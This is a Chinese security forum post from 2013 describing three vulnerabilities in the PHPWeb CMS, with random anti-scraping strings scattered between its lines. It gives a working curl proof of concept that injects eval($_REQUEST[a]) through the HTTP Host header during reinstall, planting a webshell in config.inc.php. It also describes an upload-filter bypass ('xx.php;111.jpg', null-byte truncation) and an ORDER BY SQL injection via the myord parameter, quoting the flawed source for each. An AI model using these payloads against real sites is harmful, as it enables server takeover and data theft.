中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
D- d% B8 w6 U) N
& ^: h; A- M! C. e
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
I% y2 {7 ?: [$ T9 v
, V5 H1 S& X1 ]3 i) E* w
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
, C8 S5 J4 D; _' i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
$ f+ l* t% S; X
) Z" y m* M1 u4 K3 [
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
% i3 @- i: k: l' w. y% w% |9 d' ^
7 Y: Z; }& O) m+ N! y1 G+ ?
分析:
- U9 J1 x# V+ G {9 ?' o; g; y
3 W/ G, m/ I6 e/ d! L7 j
) y2 I) d; O) m; O, S# O- J
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
! e8 E" w+ T# h I v3 Z' `
; Y, O; Y+ t% w7 P
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
+ B% J6 k% f% k# ^+ W E
$filestr=str_replace(" ","",$filestr);
- `" o) k8 D- N+ X/ r
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* Y9 a- E2 E1 F7 `8 k m& _' ~& P
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
9 F/ S# U% Z7 ^+ y* s
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
/ g$ \9 b" e4 Y/ R$ O
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
6 Y3 a4 N% Q3 g6 z; e
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; j' y; r) M+ J. U8 u g
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
: ^0 {2 ^ q$ y
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
; }3 ?" t5 i8 E! s2 F5 e$ Y* c
! s! y; c. \1 Z1 x P- [/ o- S
fwrite(fopen($ConFile,"w"),$filestr,30000);
7 q8 w5 ^: \ c
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
! p" G# j4 S# s2 K) C* i
+ j: r: s& R8 T# O+ C6 n
poc:
/ t% y4 ]+ n; c3 }/ s
2 [9 ^6 Z7 N- Q: |3 x6 f& E
?
- O/ E5 J- I8 s0 s: G
1
$ s4 ]) S+ W% a u
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
4 c4 i1 j2 q4 A* Y. |4 p
shell地址: /config.inc.php
4 Z3 a8 B- r7 E
跟之前的 phpcms一样 需要远程数据库
% z/ h0 V) S! F/ ^: `
9 O# \. Q/ q( i+ h. }. M- x
——————————————————–
! R6 n( b/ ^ B
上传漏洞(需要进后台):
5 V$ y0 [9 @0 }+ f. f9 e
漏洞文件: /kedit/upload_cgi/upload.php
5 U; P% l( I5 a8 G( D# V
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! ?/ n. s1 c j7 f: [$ Y" x7 r
( O( ]6 \# R; H5 `& p% s" X' _2 ~ A6 ^
0 E4 i& @2 O# H2 \; D/ z- H
<?php
1 P' \1 _8 ^. V" F6 ?' S+ y
define("ROOTPATH", "../../");
5 J' e/ m3 e7 A3 e+ C; G/ G2 F7 D
include(ROOTPATH."includes/admin.inc.php");
1 h6 P, P0 P, F
NeedAuth(0);
7 P7 p6 o1 s5 y
" z1 y+ \% N6 M6 I6 c* H4 E% h
$dt=date("Ymd",time());
8 a9 X! C; r- T1 O2 ?8 q% _5 ]% C) @0 N6 Z
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
) k* U' a+ w' N. h9 Y4 y; _ T
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
1 t4 {! E; k: \0 v7 ~) @) p! V
}
, q, {7 }+ {2 I% |
( Z& n: H+ p+ [3 K& V" `
//文件保存目录路径
8 u2 t: A% I: s& d2 m' L: u
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
4 o3 e) U3 n7 q) G j5 z- `7 T
echo $save_path;
0 x9 E& e$ }" i- T: x4 a
//文件保存目录URL
5 q& o3 X2 [% a
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
. _* J* ]) w; t* U6 B! m
4 C( P" [5 j, A& d
//定义允许上传的文件扩展名
' K" h( j4 m, X0 g' `2 }: P
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
$ X9 i3 V2 `! x2 k; x, X* E
' h1 O0 J* \: t( q; I, b
//最大文件大小
' V% M- {4 s3 X' y5 h
$max_size = 1000000;
8 [ M3 d4 L1 F' I# r
7 h0 {- s% W$ W \/ {
//更改目录权限
3 e1 \% r( g9 ], |, n) y2 |
@mkdir($save_path, 0777);
/ K+ W' ]- x! O- K
% X5 ?0 v8 j6 {5 ^1 g
//文件的全部路径
) L7 [# X+ h% P- m, C) @
$file_path = $save_path.$_POST['fileName']; //保存文件名
% I* s3 K( Z% G0 M+ w
; t0 c$ p4 L3 \4 ?3 W) V6 v7 d
//文件URL
; Z4 o( I1 P$ \7 G5 f
$file_url = $save_url.$_POST['fileName'];
3 V. ?2 I H& z
//有上传文件时
" j0 d. r7 S( N7 f4 K2 Q
if (empty($_FILES) === false) {
: h' `" n' C5 V$ K2 L
/ t) x; B* h4 H( z) t7 U! `' a
//原文件名
$ a8 ?# g! U; F. l; u
$file_name = $_FILES['fileData']['name'];
& ~( y: K7 j# t' I1 p# J' Q' p
//服务器上临时文件名
, ?3 j: ~4 F* ^3 O8 [
$tmp_name = $_FILES['fileData']['tmp_name'];
. t8 `( w" V$ U) ] k: n
//文件大小
; ?$ j% B% S! K& ^
$file_size = $_FILES['fileData']['size'];
3 W3 J9 ?% F5 ]) `1 {
//检查目录
8 V* a, j. J7 Q3 u4 r
if (@is_dir($save_path) === false) {
' s4 j* E9 `4 p6 s; C5 {2 p
alert("上传目录不存在。");
1 {; g2 {1 M. k' G4 K$ f6 }% B0 o9 T
}
. D: ?# U0 \. p! A# |
//检查目录写权限
+ Y3 b) f3 F5 p2 U2 t* i
if (@is_writable($save_path) === false) {
" s4 a2 o; H7 J. z* F. m7 o
alert("上传目录没有写权限。");
3 C6 ]* b- H/ V
}
, j: s5 v0 @6 \
//检查是否已上传
6 k, M- m/ ~* ?- {- v5 N4 d; {
if (@is_uploaded_file($tmp_name) === false) {
+ L3 n* n: Y' L
alert("临时文件可能不是上传文件。");
* i" u" a" }8 T8 ]- e' u1 [+ n9 T
}
, z; ^3 P' G9 H: ^7 J
//检查文件大小
& d _- p/ J% r r1 `1 ?
if ($file_size > $max_size) {
* P5 A# X. x+ f$ z2 x6 A m+ a
alert("上传文件大小超过限制。");
1 P8 f9 C" v& o* H) Y9 K8 c ?( h8 z
}
( y' G/ f0 n" b; B2 \5 l
//获得文件扩展名
0 j( R$ C$ k4 a; m# m, @" e
$temp_arr = explode(".", $_POST['fileName']);
+ K5 ?1 p, L2 h* P5 j% e
$file_ext = array_pop($temp_arr);
( h+ t5 \6 C$ q) K. Y- j$ G
$file_ext = trim($file_ext);
" h& p# k$ ~5 t
$file_ext = strtolower($file_ext);
- q/ W0 y" K- D" H; C5 \
1 h+ P" y/ Z1 G, a( \
//检查扩展名
' D% t: s% @* G/ o: X: l
if (in_array($file_ext, $ext_arr) === false) {
+ m. Y+ F9 \& a- Z# S
alert("上传文件扩展名是不允许的扩展名。");
1 S* `$ n/ T$ g L+ p8 P7 ^
}
- R$ M6 i, F1 F
0 J2 I0 ~/ T# K( B9 g& ~2 t
//移动文件
+ X$ }: l4 V0 u" ~
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
9 ^/ Q' L) \/ _, n+ s6 p
if (move_uploaded_file($tmp_name, $file_path) === false) {
1 ~+ t7 u+ {% i" v: y) ~" M
alert("上传文件失败。");
8 p3 i2 E, j. G4 C% Z4 T
}
& q8 Y) K9 p# [6 y8 T7 ~
0 h4 ?9 a3 y( o D# x
@chmod($file_path,0666);
+ o3 x+ \4 {3 _3 X' Q
7 Q, ^ X! B) }( G$ k
?>
/ q2 C& U9 e* P2 k. S% t2 K) @7 Z
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
1 q! _% V, l/ {6 t, O" K: a
8 m4 Y; A# _2 X/ _& S
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
7 J) c3 W9 T& R3 G8 W0 t9 E
4 i- f; Y! z; ?% U
——————————————————
3 Q) Z3 _7 q) k3 y% t
注入漏洞:
, _; c( U) Z5 K
漏洞文件:search/module/search.php
) Y+ S" v3 u1 E8 V9 F( S# v
/search/index.php?key=1&myord=1 [sqlinjection]
# K6 x9 @; B& i" ^! v& L: E" X6 e
( D/ e# ^3 ^2 ~1 D) k: Z l
" Q+ t* E, h1 a. H- p8 g# I% J/ y8 k0 O
<?php
+ }0 }. P( X" W0 n) t4 @/ Y
// ... 省略 n 行...
2 Z+ H6 x( [: T0 ^ N) S
//第18行:
( r" _2 \, [; s" @
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
, \8 n5 V, o6 J$ @8 W
$page=htmlspecialchars($_GET["page"]);
) m/ F f, M/ y2 V' b* l3 ^2 [& S
$myord=htmlspecialchars($_GET["myord"]);
! u0 j* t' M6 ~5 W3 O A; i
& P8 P }% C* L" t% B, G9 D
// ... 省略 n 行...
, k$ m ~; k6 g x
$key,$myord 两个参数带入查询
1 S: |, v; `+ A) G1 s5 v) X
//第47行 $key:
, R: @# e$ V$ e
, t3 o6 u7 f& r/ V6 g0 m
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
$ X! C& c% f! ^# p' m4 G
: {1 i; }5 o! C- `2 I
//第197行 $myord
; e: F' V c- \. B% [
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
2 p% C$ h3 [/ ]/ u1 ?3 {2 q
. n* s6 U3 K. L. X1 [- b
?>
) c& k0 s3 _9 e1 o# R
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2